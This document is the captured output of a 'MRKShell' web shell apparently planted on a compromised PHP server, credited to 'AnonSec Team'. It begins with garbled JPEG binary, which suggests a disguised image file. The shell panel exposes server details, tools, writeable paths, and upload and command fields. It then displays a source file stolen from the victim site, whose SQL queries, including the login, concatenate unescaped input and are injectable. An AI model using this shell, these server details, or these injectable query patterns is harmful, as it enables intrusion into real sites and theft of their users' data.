JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/models/diagramador_modelo.php
<?php
class Diagramador_modelo extends CI_Model
{
	public function checkUso($seccion_id)
	{
		$sql = "select ocupado, nombre, seccion, usuario_id from diagramador_uso where seccion_id = ".$seccion_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function loginDiagramador($usuario,$pass)
	{
		$passEncrypt = md5($pass);
		$sql = "select u.id, u.nombre, u.apellido, u.usuario, u.email, ui.facebook_id, u.estado, u.perfil_id 
		from usuario u 
		inner join usuario_info ui on (u.id = ui.usuario_id) 
		where u.usuario = '$usuario' and u.password = '$passEncrypt'";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function cambiarEstadoDiagramador($datos,$seccion_id)
	{
		$this->db->where("seccion_id",$seccion_id);
		if ($this->db->update("diagramador_uso",$datos))
			return true;
		else
			return false;
	}
	
	public function checkEstadoDiagramador($seccion_id)
	{
		$sql = "select nombre, ocupado, fecha, usuario_id, seccion_id from diagramador_uso where seccion_id = ".$seccion_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function desocuparDiagramador($seccion_id)
	{
		$sql = "update diagramador_uso set ocupado = 0 where seccion_id = ".$seccion_id;
		$this->db->query($sql);
	}
	
	//Nuevos métodos del diagramador
	public function dameBloque($bloque_id){
		$sql="SELECT id, nombre, alto_foto, ancho_foto, max_objetos, orden FROM diagramador_bloque WHERE id=".$bloque_id;
		$query=$this->db->query($sql);
		if($query->num_rows() > 0){
			$res=$query->result_array();
			return $res[0];
		}else
			return false;
	}
	
	public function limpiarBloque($bloque_id,$objeto_id=0){
		if ($objeto_id!=0)
			$this->db->where("objeto_id",$objeto_id);
		
		$this->db->where("bloque_id",$bloque_id);
		if($this->db->delete('diagramador_bloque_objeto'))
			return true;
		else
			return false;
	}
	
	public function insertarObjetoBloque($datos)
	{
		if($this->db->insert('diagramador_bloque_objeto',$datos)){
			return $this->db->insert_id();
		}else
			return false;
	}

	public function modificaObjetoBloque($bloque_id,$objeto_id,$datos)
	{
		$this->db->where("bloque_id",$bloque_id);
		$this->db->where("objeto_id",$objeto_id);
		if($this->db->update('diagramador_bloque_objeto',$datos)){
			return $objeto_id;
		}
		else
			return false;
	}
	
	public function eliminarObjetoBloque($objeto_id,$bloque_id=0)
	{
		
		$this->db->where("objeto_id",$objeto_id);
		if($bloque_id > 0)
			$this->db->where("bloque_id",$bloque_id);
		if($this->db->delete('diagramador_bloque_objeto'))
			return true;
		else
			return false;
	}
	
	public function dameBloquesDiagramador(){
		$sql = "SELECT id, nombre, alto_foto, ancho_foto, max_objetos, orden FROM diagramador_bloque ORDER BY orden";
		$query=$this->db->query($sql);
		if($query->num_rows() > 0)
			return $query->result_array();
		else
			return false;
	}
	
	public function dameObjetosBloque($bloque_id){
		$sql = "SELECT id, objeto_id, tipo, orden FROM diagramador_bloque_objeto WHERE bloque_id=".$bloque_id." ORDER BY orden";
		$query=$this->db->query($sql);
		if($query->num_rows() > 0){
			$res=$query->result_array();
			foreach($res as $key=>$value){
				switch($value['tipo']){
					case 1:
						$tipo="NOTA";
						$id="nota-".$value['objeto_id'];
						$consulta="SELECT n.titulo_nota as titulo, n.bajada_nota as sumario, n.antetitulo_nota as antetitulo, n.seccion_nota as seccion,
						(
							SELECT f.ruta
							FROM foto f 
							INNER JOIN relacion r2 ON (f.id = r2.objeto_id AND r2.tipo = 30)
							WHERE r2.nota_id = n.objeto_id ORDER BY r2.destacado DESC LIMIT 1
						) as ruta,
						(
							SELECT f.imagen
							FROM foto f 
							INNER JOIN relacion r2 ON (f.id = r2.objeto_id AND r2.tipo = 30)
							WHERE r2.nota_id = n.objeto_id ORDER BY r2.destacado DESC LIMIT 1
						) as foto
						FROM diagramador_bloque_objeto n WHERE n.objeto_id=".$value['objeto_id'];
						$cons=$this->db->query($consulta);
						break;
					case 2:
						$tipo="ENCUESTA";
						$id="encuesta-".$value['objeto_id'];
						$consulta="SELECT encuesta as titulo, '' as sumario, 'ENCUESTA' as pretitulo, '' as foto FROM encuesta WHERE id=".$value['objeto_id'];
						$cons=$this->db->query($consulta);
						break;
					case 3:
						$tipo="BANNER";
						$id="banner-".$value['objeto_id'];
						$consulta="SELECT b.nombre as titulo, '' as sumario, bp.nombre as pretitulo, '' as foto FROM banner b INNER JOIN banner_posicion bp ON (bp.id = b.posicion_id) WHERE b.id=".$value['objeto_id'];
						$cons=$this->db->query($consulta);
						break;
					case 4:
						$tipo="SECCION";
						$id="seccion-".$value['objeto_id'];
						$consulta="SELECT t.nombre as titulo, '' as sumario, 'SECCION' as pretitulo, '' as foto FROM tag t WHERE t.id=".$value['objeto_id'];
						$cons=$this->db->query($consulta);
						break;	
				}
				
				if(isset($cons) and $cons->num_rows() > 0){
					$objeto=$cons->result_array();
					
					$res[$key]['titulo']=$objeto[0]['titulo'];
					$res[$key]['antetitulo']=$objeto[0]['antetitulo'];
					$res[$key]['seccion']=$objeto[0]['seccion'];
					$res[$key]['ruta']=$objeto[0]['ruta'];
					$res[$key]['foto']=$objeto[0]['foto'];
					$res[$key]['bajada']=$objeto[0]['sumario'];
				}else{
					$res[$key]['titulo']="OBJETO CARGADO EN EL BLOQUE";
					$res[$key]['antetitulo']=$tipo;
					$res[$key]['ruta']="";
					$res[$key]['foto']="";
					$res[$key]['bajada']="";
				}

				$res[$key]['tipo-dato']=$tipo;
				$res[$key]['data-id']=$id;
			}
			
			return $res;
		}else
			return false;
	}
	
	public function dameObjetosBloqueXml($bloque_id){
		$sql = "SELECT id, objeto_id, tipo, orden FROM diagramador_bloque_objeto WHERE bloque_id=".$bloque_id." ORDER BY orden";
		$query=$this->db->query($sql);
		if($query->num_rows() > 0){
			$res=$query->result_array();
			foreach($res as $key=>$value){
				$titulo="";
				$antetitulo="";
				$seccion="";
				$sumario="";
				$muestra_imagen="";
				$foto="";
				$ruta="";
				$autor="";
				$posicion_banner="";
				$opciones_encuesta="";
				$tag_data="";
				$seccion_color="";
				$texto="";
				$codigo_video="";

				switch($value['tipo']){
					case 1:
						$consulta="SELECT n.titulo_nota as titulo, n.antetitulo_nota as antetitulo, n.muestra_imagen, n.seccion_nota as seccion, n.bajada_nota as sumario, no.texto,
						(
							select concat(f.ruta,f.imagen)
							from foto f 
							inner join relacion r2 on (f.id = r2.objeto_id and r2.tipo = 30)
							where r2.nota_id = n.objeto_id order by r2.destacado desc limit 1
						) as destacada,
						(
							select concat(u.nombre, ' ', u.apellido) as periodista
							from relacion ra
							inner join usuario u on u.id=ra.objeto_id
							where ra.tipo=4 and ra.nota_id=n.objeto_id limit 1
						) as autor
						FROM diagramador_bloque_objeto n
						INNER JOIN nota no ON no.id = n.objeto_id
						WHERE n.objeto_id=".$value['objeto_id'];
						$cons=$this->db->query($consulta);
						if($cons->num_rows() > 0){
							$objeto=$cons->result_array();
														
							$titulo=$objeto[0]['titulo'];
							$antetitulo=$objeto[0]['antetitulo'];
							$seccion=$objeto[0]['seccion'];
							$seccion_color="loca";
							$sumario=$objeto[0]['sumario'];
							$muestra_imagen=$objeto[0]['muestra_imagen'];
							if ($objeto[0]['destacada']!="")
							{
								$foto = end(explode("/", $objeto[0]['destacada']));
								$ruta = str_replace($foto, "", $objeto[0]['destacada']);
							}
							else
							{
								$sql_video = "select concat(v.id,'|',v.codigo) as codigo from video v 
								inner join relacion r on (r.objeto_id = v.id and r.tipo=2) 
								where r.nota_id = ".$value['objeto_id']." limit 1";
								$cons_video=$this->db->query($sql_video);
								if ($cons_video->num_rows() > 0)
								{
									$objeto_video=$cons_video->result_array();
									$codigo_video = $objeto_video[0]['codigo'];
								}
							}
							$autor=$objeto[0]['autor'];
							$texto=$objeto[0]['texto'];
						}
						break;
					case 2:
						$consulta="SELECT id, encuesta FROM encuesta WHERE id=".$value['objeto_id'];
						$cons=$this->db->query($consulta);
						if($cons->num_rows() > 0){
							$objeto=$cons->result_array();
							$obj=$objeto[0];
							
							$titulo=$obj['encuesta'];
							$opciones_encuesta=$this->_dame_opciones_encuesta_xml($obj['id']);
						}
						break;
					case 3:
						$consulta="SELECT b.nombre, b.posicion_id, bp.nombre as ubicacion, b.tag FROM banner b INNER JOIN banner_posicion bp ON (bp.id = b.posicion_id) WHERE b.id=".$value['objeto_id'];
						$cons=$this->db->query($consulta);
						if($cons->num_rows() > 0){
							$objeto=$cons->result_array();
							$obj=$objeto[0];
							
							$titulo=$obj['nombre'];
							$antetitulo=$obj['ubicacion'];
							$posicion_banner=$obj['posicion_id'];
							//$tag_data="<![CDATA[ ".$obj['tag']." ]]>";
							$tag_data=$obj['tag'];
						}
						break;
					case 4:
						$consulta="SELECT t.nombre, t.color, t.tipo FROM tag t WHERE t.id=".$value['objeto_id'];
						$cons=$this->db->query($consulta);
						if($cons->num_rows() > 0){
							$objeto=$cons->result_array();
							$obj=$objeto[0];
							
							$titulo=$obj['nombre'];
							$seccion_color=$obj['color'];
						}
						break;	
				}
				
				$res[$key]['titulo']=$titulo;
				$res[$key]['antetitulo']=$antetitulo;
				$res[$key]['seccion']=$seccion;
				$res[$key]['seccion_color']=$seccion_color;
				$res[$key]['sumario']=$sumario;
				$res[$key]['texto']=$texto;
				$res[$key]['muestra_imagen']=$muestra_imagen;
				$res[$key]['foto']=$foto;
				$res[$key]['ruta']=$ruta;
				$res[$key]['autor']=$autor;
				$res[$key]['posicion_banner']=$posicion_banner;
				$res[$key]['tag']=$tag_data;
				$res[$key]['opciones_encuesta']=$opciones_encuesta;
				$res[$key]['codigo_video']=$codigo_video;
			}
			
			return $res;
		}else
			return false;
	}
	
	public function _dame_opciones_encuesta_xml($encuesta_id){
		$sql = "SELECT id, opcion, votos FROM encuesta_opcion WHERE encuesta_id=".$encuesta_id." ORDER BY opcion";
		$query=$this->db->query($sql);
		if($query->num_rows() > 0){
			return $query->result_array();
		}else
			return false;
	}
	
	public function dameFotoNotaBloque($nota_id){
		$sql="SELECT f.ruta, f.imagen FROM foto f INNER JOIN relacion r ON (f.id=r.objeto_id AND r.tipo=30) WHERE r.nota_id=".$nota_id." ORDER BY r.destacado DESC LIMIT 1";
		$query=$this->db->query($sql);
		if($query->num_rows() > 0){
			$res=$query->result_array();
			return $res[0];
		}else
			return false;
	}
	
	public function dameBloqueContNota($nota_id){
		$sql="SELECT bloque_id FROM diagramador_bloque_objeto WHERE objeto_id=".$nota_id." ORDER BY id DESC LIMIT 1";
		$query=$this->db->query($sql);
		if($query->num_rows() > 0){
			$res=$query->result_array();
			return $res[0]['bloque_id'];
		}else
			return 0;
	}
	
	public function traer_datos_nota($nota_id){
		$sql="SELECT objeto_id, titulo_nota, antetitulo_nota, bajada_nota, muestra_imagen FROM diagramador_bloque_objeto WHERE tipo=1 AND objeto_id=".$nota_id;
		
		$query=$this->db->query($sql);
		if($query->num_rows() > 0){
			$res=$query->result_array();
			return $res[0];
		}else
			return false;
	}
	
	public function actualizar_nota_diagramador($nota_id,$datos){
		$this->db->where('objeto_id',$nota_id);
		$this->db->where('tipo',1);
		if($this->db->update('diagramador_bloque_objeto',$datos)){
			return true;
		}else{
			return false;
		}
	}
	
	public function traer_datos_nota_minimos($nota_id)
	{
		$sql = "SELECT n.objeto_id as id, n.titulo_nota as titulo, n.antetitulo_nota as antetitulo, n.bajada_nota as sumario, n.muestra_imagen
		FROM diagramador_bloque_objeto n 
		WHERE n.objeto_id = ".$nota_id;
		
		$query = $this->db->query($sql);
		
		echo print_r($query->result_array());
		
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			$nota = $res[0];
			
			echo print_r($nota);
			
			$nota['seccion'] = $this->dame_array_secciones($nota['id']);
			
			return $nota;
		}
		else
			return false;
	}
	
	public function dame_array_secciones($id_nota)
	{
		$sql = "select s.id, s.nombre, s.template, s.color, s.url, s.alias
		from tag s 
		inner join (
			select tag_id from relacion_tag where nota_id = ".$id_nota." and tipo = 5 
		) as sec on (sec.tag_id = s.id) where s.tipo_id=5";
		//$query = $this->db->get();
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();	
			return $res;
		}
		else
			return false;
	}

	public function existe_nota($bloque_id, $nota_id)
	{
		$sql = "select id from diagramador_bloque_objeto where bloque_id = ".$bloque_id." and objeto_id = ".$nota_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();	
			return $res[0]['id'];
		}
		else
			return false;

	}
}
?>

Anon7 - 2022
AnonSec Team